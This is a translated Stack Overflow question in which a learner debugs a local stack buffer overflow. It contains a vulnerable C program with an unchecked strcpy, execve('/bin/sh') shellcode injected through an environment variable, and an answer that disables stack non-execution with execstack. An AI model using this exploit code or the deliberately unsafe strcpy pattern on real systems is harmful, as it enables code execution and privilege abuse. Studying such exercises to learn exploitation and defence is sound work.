c - 出现段错误时缓冲区溢出将不起作用

标签 c segmentation-fault buffer-overflow

我尝试让缓冲区溢出起作用。我有以下简单的易受攻击的程序:

int main(int argc, char** argv) {
    char buffer[80];
    strcpy(buffer,argv[1]);
    return 1;
}

通过以下程序,我想获得一个带有缓冲区溢出的 Shell。

char shellcode[]=
"\x31\xc0"                     
"\x50"                        
"\x68\x6e\x2f\x73\x68"        
"\x68\x2f\x2f\x62\x69"        
"\x89\xe3"                     
"\x99"                         
"\x52"
"\x53"                         
"\x89\xe1"                     
"\xb0\x0b"                     
"\xcd\x80";                    
char retaddr[] = "\xa8\xd5\xff\xff";
#define NOP 0x90
int main() {
    char buffer[96];

    memset(buffer, NOP, 96);
    memcpy(buffer, "EGG=",4);
    memcpy(buffer+4,shellcode,24);
    memcpy(buffer+88,retaddr,4);
    memcpy(buffer+92, "\x00\x00\x00\x00",4);
    putenv(buffer);
    printf("%p\n", buffer);
    system("/bin/sh");
    return 0;
}

该程序在开始时使用 shellcode 创建一个缓冲区。 Shellcode 之后是一些 NOP 指令,然后是覆盖返回地址并指向 Shellcode 开头的值。然后它使用缓冲区创建一个环境变量并启动一个 Shell。

如果我运行该程序,shell 就会启动并设置环境变量。但是,如果我尝试使用环境变量作为参数来运行易受攻击的程序,则会出现段错误。

以下是一些使用 gdb 的屏幕: 我没有足够的声誉来直接发布图片,所以这里是一个包含 4 张图片的 imgur 相册的链接。

enter image description here

enter image description here

enter image description here

enter image description here

第一张图片显示了 strcpy 发生之前的堆栈。

第二个显示argv 1

第三张图显示了strcpy之后的堆栈。

如果可以看到0xf7e00497就是返回地址。如果我反汇编该地址,则会显示 libc 函数的代码。

在第三张图中,您可以看到该地址被指向堆栈顶部的地址 0xffffd5a8 覆盖。

在图 4 中,如果程序无法运行,您会看到段错误。

谁能告诉我为什么?一切似乎都还好? 我使用 gcc 的 -fno-stack-protector 选项编译了这两个程序。

最佳答案

感谢@type1232,问题是堆栈不可执行。

使用execstack -s vulProg,shellcode将运行。

关于c - 出现段错误时缓冲区溢出将不起作用,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/32806316/

相关文章:

c - 如何防止字符串读取 C 中的 CTF 标志

android - 是否可以通过编译的二进制文件在 Android 中生成本地缓冲区溢出以获得 root 访问权限?

C fgets strtok 和 atoi 读取 C 中的一行

c++ - 从字符串中获取 IPv4 地址的最快方法

c++ - 指向删除并指向其他对象时,C++中的Seg Faulting Pointers

c++ - 尝试 move 大型位集时 GCC4.6 出现段错误,这是编译器错误吗?

c - Pthreads无法解释的段错误

c - Linux下C语言包生成率测量

c - 在C中获取鼠标点击的坐标

python - TypeError : __init__() got an unexpected keyword argument 'checksec'